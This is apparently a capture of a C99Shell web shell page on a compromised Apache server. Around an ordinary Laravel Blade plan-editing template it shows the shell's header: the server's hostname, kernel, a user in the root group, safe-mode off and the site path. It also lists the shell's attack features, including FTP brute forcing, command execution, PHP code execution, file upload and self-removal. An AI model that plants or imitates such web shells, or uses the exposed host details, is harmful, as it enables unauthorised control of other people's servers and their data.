!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/Modules/Plan/Resources/views/   drwxr-xr-x
Free 29.29 GB of 117.98 GB (24.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     edit-backup.blade.php (22.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('admin.layouts.app')
@section('title')
{{ __('edit_plan') }}
@endsection
@section('content')
<div class="container-fluid">
    <div class="row">
        <div class="col-md-12">
            <div class="card">
                <div class="card-header">
                    <h3 class="card-title" style="line-height: 36px;">{{ __('edit_plan') }}</h3>
                    <a href="{{ route('module.plan.index') }}"
                        class="btn bg-primary float-right d-flex align-items-center justify-content-center">
                        <i class="fas fa-arrow-left"></i>&nbsp; {{ __('back') }}
                    </a>
                </div>
                <div class="card-body">
                    <form action="{{ route('module.plan.update', $plan->id) }}" method="POST">
                        @csrf
                        @method('put')
                        <div class="row">
                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="plan_payment_type" required="true" for="ad_limit"
                                        for="plan_type" />
                                    <div class="d-flex ">
                                        <div class="custom-control custom-radio custom-control-inline">
                                            <input onclick="changePaymentType()" type="radio" id="one_time_plan" name="plan_payment_type" class="custom-control-input" value="one_time" @checked(old('plan_payment_type', $plan->plan_payment_type) == 'one_time')>
                                            <label class="custom-control-label" for="one_time_plan">
                                                {{ __('one_time') }}
                                            </label>
                                        </div>
                                        <div class="custom-control custom-radio custom-control-inline">
                                            <input onclick="changePaymentType()" type="radio" id="recurring_plan" name="plan_payment_type" class="custom-control-input" value="recurring" @checked(old('plan_payment_type', $plan->plan_payment_type) == 'recurring')>
                                            <label class="custom-control-label" for="recurring_plan">
                                                {{ __('recurring') }}
                                            </label>
                                        </div>
                                    </div>
                                    @error('plan_payment_type')
                                        <span class="invalid-feedback d-block" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>
                            <div class="col-md-6 recurring_plan">
                                <div class="form-group">
                                    <x-forms.label name="plan_type" required="true" for="ad_limit" for="plan_type" />
                                    <select name="interval" class="custom-select mr-sm-2" id="plan_type">
                                        <option {{ $plan->interval == 'monthly' ? 'selected' : '' }} value="monthly">
                                            {{ __('monthly') }}
                                        </option>
                                        <option {{ $plan->interval == 'yearly' ? 'selected' : '' }} value="yearly">
                                            {{ __('yearly') }}
                                        </option>
                                        <option {{ $plan->interval == 'custom_date' ? 'selected' : '' }}
                                            value="custom_date">
                                            {{ __('plan_duration') }}
                                        </option>
                                    </select>
                                </div>
                            </div>
                            <div class="col-md-6 recurring_plan">
                                <div class="form-group">
                                    <x-forms.label name="stripe_price_id" required="true" for="stripe_id"
                                        for="plan_type" />
                                    <input type="text" id="stripe_id" name="stripe_id" value="{{ old('stripe_id', $plan->stripe_id) }}"
                                        class="form-control @error('stripe_id') is-invalid @enderror"
                                        placeholder="e.g: price_****">
                                    @error('stripe_id')
                                        <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>
                            <div class="col-md-6 recurring_plan {{ $plan->interval == 'custom_date' ? '' : 'd-none' }}"
                                id="interval_date">
                                <div class="form-group">
                                    <x-forms.label name="interval_days" required="true" for="custom_interval_days" />
                                    <input type="number" min="1" id="custom_interval_days" name="custom_interval_days"
                                        value="{{ old('custom_interval_days', $plan->custom_interval_days) }}"
                                        class="form-control @error('custom_interval_days') is-invalid @enderror"
                                        placeholder="{{ __('interval_days') }}">
                                    @error('custom_interval_days')
                                    <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>
                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="label" required="true" for="label" />
                                    <input type="text" id="label" name="label" value="{{ $plan->label }}"
                                        class="form-control @error('label') is-invalid @enderror"
                                        placeholder="{{ __('basic') }} / {{ __('standard') }} / {{ __('premium') }}">
                                    @error('label')
                                    <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6 col-lg-4">
                                <div class="form-group">
                                    <x-forms.label name="price" required="true" for="price">
                                        ({{ config('templatecookie.currency_symbol') }})
                                    </x-forms.label>
                                    <input type="number" id="price" name="price" value="{{ $plan->price }}"
                                        class="form-control @error('price') is-invalid @enderror" placeholder="{{ __('price') }}">
                                        @error('price')
                                            <span class=" invalid-feedback" role="alert">{{ $message }}</span>
                                        @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="listing_post_limit" required="true" for="ad_limit" />
                                    <input type="number" id="ad_limit" name="ad_limit" value="{{ $plan->ad_limit }}"
                                        class="form-control @error('ad_limit') is-invalid @enderror"
                                        placeholder="{{ __('ad_limit') }}">
                                    @error('ad_limit')
                                    <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="featured_listing_limit" required="true" for="featured_limit" />
                                    <input type="number" id="featured_limit" name="featured_limit" value="{{ $plan->featured_limit }}" class="form-control @error('featured_limit') is-invalid @enderror"
                                        placeholder="{{ __('featured_limit') }}">
                                    @error('featured_limit')
                                    <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="featured_listing_duration" required="true" for="featured_duration" />
                                    <input type="number" id="featured_duration" name="featured_duration" value="{{ $plan->featured_duration }}" class="form-control @error('featured_duration') is-invalid @enderror"
                                        placeholder="{{ __('featured_duration') }}">
                                    @error('featured_duration')
                                    <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="urgent_listing_limit" required="true" for="urgent_limit" />
                                    <input type="number" id="urgent_limit" name="urgent_limit" value="{{ ($plan->urgent_limit) }}" class="form-control @error('urgent_limit') is-invalid @enderror" placeholder="{{ __('urgent_limit') }}">
                                    @error('urgent_limit')
                                        <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="urgent_listing_duration" required="true" for="urgent_duration" />
                                    <input type="number" id="urgent_duration" name="urgent_duration"
                                        value="{{ ($plan->urgent_duration) }}"
                                        class="form-control @error('urgent_duration') is-invalid @enderror" placeholder="{{ __('urgent_duration') }}">
                                    @error('urgent_duration')
                                        <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="highlight_listing_limit" required="true" for="highlight_limit" />
                                    <input type="number" id="highlight_limit" name="highlight_limit"
                                        value="{{ ($plan->highlight_limit) }}"
                                        class="form-control @error('highlight_limit') is-invalid @enderror" placeholder="{{ __('highlight_limit') }}">
                                    @error('highlight_limit')
                                        <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="highlight_listing_duration" required="true" for="highlight_duration" />
                                    <input type="number" id="highlight_duration" name="highlight_duration"
                                        value="{{ ($plan->highlight_duration) }}"
                                        class="form-control @error('highlight_duration') is-invalid @enderror" placeholder="{{ __('highlight_duration') }}">
                                    @error('highlight_duration')
                                        <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="top_listing_limit" required="true" for="top_limit" />
                                    <input type="number" id="top_limit" name="top_limit"
                                        value="{{ ($plan->top_limit) }}"
                                        class="form-control @error('top_limit') is-invalid @enderror" placeholder="{{ __('top_limit') }}">
                                    @error('top_limit')
                                        <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="top_listing_duration" required="true" for="top_duration" />
                                    <input type="number" id="top_duration" name="top_duration"
                                        value="{{ ($plan->top_duration) }}"
                                        class="form-control @error('top_duration') is-invalid @enderror" placeholder="{{ __('top_duration') }}">
                                    @error('top_duration')
                                        <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="bump_up_listing_limit" required="true" for="bump_up_limit" />
                                    <input type="number" id="bump_up_limit" name="bump_up_limit"
                                        value="{{ ($plan->bump_up_limit) }}"
                                        class="form-control @error('bump_up_limit') is-invalid @enderror" placeholder="{{ __('bump_up_limit') }}">
                                    @error('bump_up_limit')
                                        <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="bump_up_listing_duration" required="true" for="bump_up_duration" />
                                    <input type="number" id="bump_up_duration" name="bump_up_duration"
                                        value="{{ ($plan->bump_up_duration) }}"
                                        class="form-control @error('bump_up_duration') is-invalid @enderror" placeholder="{{ __('bump_up_duration') }}">
                                    @error('bump_up_duration')
                                        <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    {{-- <x-forms.label name="premium_badge" for="badge" /> --}}
                                    <x-forms.label name="membership_badge" for="badge" />
                                    <select name="badge" id="badge"
                                        class="form-control @error('badge') is-invalid @enderror">
                                        <option value="1" {{ $plan->badge == true ? 'selected' : '' }}>
                                            {{ __('yes') }}</option>
                                        <option value="0" {{ $plan->badge == false ? 'selected' : '' }}>
                                            {{ __('no') }}</option>
                                    </select>
                                    @error('badge')
                                    <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                    <x-forms.label name="premium_badge" required="true"/>
                                    <div class="d-flex ">
                                        <div class="custom-control custom-radio custom-control-inline">
                                            <input type="radio" id="badge_plan_yes" name="badge" class="custom-control-input" value="0"  {{ $plan->badge == 1 ? '' : 'checked' }}>
                                            <label class="custom-control-label" for="badge_plan_yes">
                                                {{ __('yes') }}
                                            </label>
                                        </div>
                                        <div class="custom-control custom-radio custom-control-inline">
                                            <input type="radio" id="badge_plan_no" name="badge" class="custom-control-input" value="1" {{ $plan->badge == 1 ? 'checked' : '' }}>
                                            <label class="custom-control-label" for="badge_plan_no">
                                                {{ __('no') }}
                                            </label>
                                        </div>
                                    </div>
                                    @error('premium_badge')
                                        <span class="invalid-feedback d-block" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>
                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="recommended" required="true"/>
                                    <div class="d-flex ">
                                        <div class="custom-control custom-radio custom-control-inline">
                                            <input type="radio" id="recommended_plan_yes" name="recommended" class="custom-control-input" value="1">
                                            <label class="custom-control-label" for="recommended_plan_yes">
                                                {{ __('yes') }}
                                            </label>
                                        </div>
                                        <div class="custom-control custom-radio custom-control-inline">
                                            <input type="radio" id="recommended_plan_no" name="recommended" class="custom-control-input" value="0" checked="">
                                            <label class="custom-control-label" for="recommended_plan_no">
                                                {{ __('no') }}
                                            </label>
                                        </div>
                                    </div>
                                    @error('recommended')
                                        <span class="invalid-feedback d-block" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                            <div class="col-md-6">
                                <div class="form-group">
                                    <x-forms.label name="premium_member" for="premium_member" />
                                    <select name="premium_member" id="premium_member"
                                        class="form-control @error('premium_member') is-invalid @enderror">
                                        <option value="1" {{ $plan->badge == true ? 'selected' : '' }}>
                                            {{ __('yes') }}</option>
                                        <option value="0" {{ $plan->badge == false ? 'selected' : '' }}>
                                            {{ __('no') }}</option>
                                    </select>
                                    @error('premium_member')
                                    <span class="invalid-feedback" role="alert">{{ $message }}</span>
                                    @enderror
                                </div>
                            </div>

                        </div>
                        <div class="row justify-content-center">
                            <button class="btn btn-success" type="submit">
                                <i class="fas fa-sync"></i>&nbsp;
                                {{ __('update') }}
                            </button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
@endsection


@section('script')
<script>
    changePaymentType('{{ $plan->plan_payment_type }}');
    function changePaymentType(){
        if($('#one_time_plan').is(':checked')){
            $('.recurring_plan').addClass('d-none');
        }else{
            $('.recurring_plan').removeClass('d-none');
        }
    }

    if ('{{ old('interval') }}' == 'custom_date') {
        $('#interval_date').removeClass('d-none');
    }

    if ('{{ $plan->interval }}' == 'custom_date') {
        $('#interval_date').removeClass('d-none');
    }

    $('#plan_type').on('change', function () {
        if ($(this).val() == 'custom_date') {
            $('#interval_date').removeClass('d-none');
        } else {
            $('#interval_date').addClass('d-none');
        }
    });
</script>
@endsection

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--